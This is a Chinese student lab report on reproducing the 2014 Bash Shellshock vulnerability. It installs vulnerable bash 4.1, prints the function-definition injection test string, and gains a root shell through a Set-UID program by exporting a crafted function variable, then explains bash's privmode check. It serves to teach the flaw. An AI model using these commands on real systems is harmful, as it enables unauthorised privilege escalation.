2019-2020-11 20199304 《Linux内核原理与分析》 第十二周作业

ShellShock攻击实验

一、实验简介

2014年9月24日，Bash中发现了一个严重漏洞shellshock，该漏洞可用于许多系统，并且既可以远程也可以在本地触发

二、预备知识

1.shellshock介绍

Shellshock，又称Bashdoor，是在Unix中广泛使用的Bash shell中的一个安全漏洞，首次于2014年9月24日公开。许多互联网守护进程，如网页服务器，使用bash来处理某些命令，从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。

2.环境搭建

以root权限安装4.1版bash（4.2版本以上的漏洞已经被堵上了）

$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

下载之后，进行安装

$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure
$ make && make install

链接

$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash

安装完成之后，接下来检测是否存在shellshock漏洞

$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"

最后，让/bin/sh 指向/bin/bash.

$ sudo ln -sf /bin/bash /bin/sh

3.关于bash等的一些预备知识

了解bash自定义函数，只需要函数名就能够调用该函数。

$ foo() { echo bar; }
$ foo
> bar

这个时候的Bash的环境变量：

KEY = foo
VALUE = () { echo bar; }

来看看ShellShock漏洞的真身：

export foo='() { :; }; echo Hello World'
bash
>Hello World

为什么调用bash的时候输出Hello World了呢？瞧瞧他内部的情况：

KEY = foo
VALUE = () { :; }; echo Hello World

bash读取了环境变量，在定义foo之后直接调用了后面的函数。 一旦调用bash，自定义的语句就直接触发。

三、攻击Set-UID程序的实验内容

1.本实验中，我们通过攻击Set-UID程序来获得root权限。我们知道system()函数将调用"/bin/sh -c" 来运行指定的命令, 这也意味着/bin/bash 会被调用，你能够利用shellshock漏洞来获取权限么？ 首先，确保安装了带有漏洞的bash版本，并让/bin/sh 指向/bin/bash.

$ sudo ln -sf /bin/bash /bin/sh

2.在 /home/shiyanlou 目录下新建一个 shock.c 文件,并输入以下代码

#include <stdio.h>
void main()
{
    setuid(geteuid()); // make real uid = effective uid.
    system("/bin/ls -l");
}

3.编译这段代码，并设置其为Set-UID程序，保证它的所有者是root。(我们注意到这里使用了setuid(geteuid()) 来使real uid = effective uid，这在Set-UID程序中不是普遍现象，但它确实有时会发生)

$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.以下是shack过程

$ exit
$ export foo='() { :; }; bash'
$ ./shock

5.如果 setuid(geteuid()) 语句被去掉了，再试试看攻击，我们还能够拿到权限么？

#include <stdio.h>
void main()
{
    system("/bin/ls -l");
}

$ sudo su
$ gcc -o sh0ck shock.c
$ chmod u+s sh0ck
$ ls -il sh0ck
$ exit
$ ./sh0ck

失败了！这就说明如果 real uid 和 effective uid 相同的话，定义在环境变量中的内容在该程序内有效，那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话，环境变量失效，就无法发动攻击了，这可以从 bash的源代码中得到印证（variables.c,在308到369行之间）请指出是哪一行导致了这样的不同，并说明bash这样设计的原因。以下给出精简后的代码：

void initialize_shell_variables(){
// 循环遍历所有环境变量
for (string_index = 0; string = env[string_index++]; ) {
     /*...*/
     /* 如果有export过的函数, 在这里定义 */
     /* 无法导入在特权模式下（root下）定义的函数 */
     if (privmode == 0 && read_but_dont_execute == 0 &&
           STREQN (“() {“, string, 4)) {
           [...]
           // 这里是shellshock发生的地方
           // 传递函数定义 + 运行额外的指令
           parse_and_execute (temp_string, name,
                SEVAL_NONINT|SEVAL_NOHIST);
[...]
} }

就是上述那一行判断逻辑导致了两者的不同，primode即私有模式，要求real uid 与 effective uid保持一致。

四、实验困难

问题：编译遇到系统报错。

解决：代码编写错误，改正后即可正常运行。

五、实验体会

本次实验相比于前两次实验长度略短，操作简单，但是更具有实际应用性。

Shellshock，又称Bashdoor，是在Unix中广泛使用的Bash shell中的一个安全漏洞，首次于2014年9月24日公开。许多互联网守护进程，如网页服务器，使用bash来处理某些命令，从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。shellshock漏洞可用于许多系统，并且既可以远程也可以在本地触发，在本实验中，我们亲手重现攻击来理解该漏洞。那样shellshock漏洞就能够被利用了，但是如果两个uid不同的话，环境变量失效，就无法发动攻击了。在实验中也出现一些失误处，经过改正顺利解决。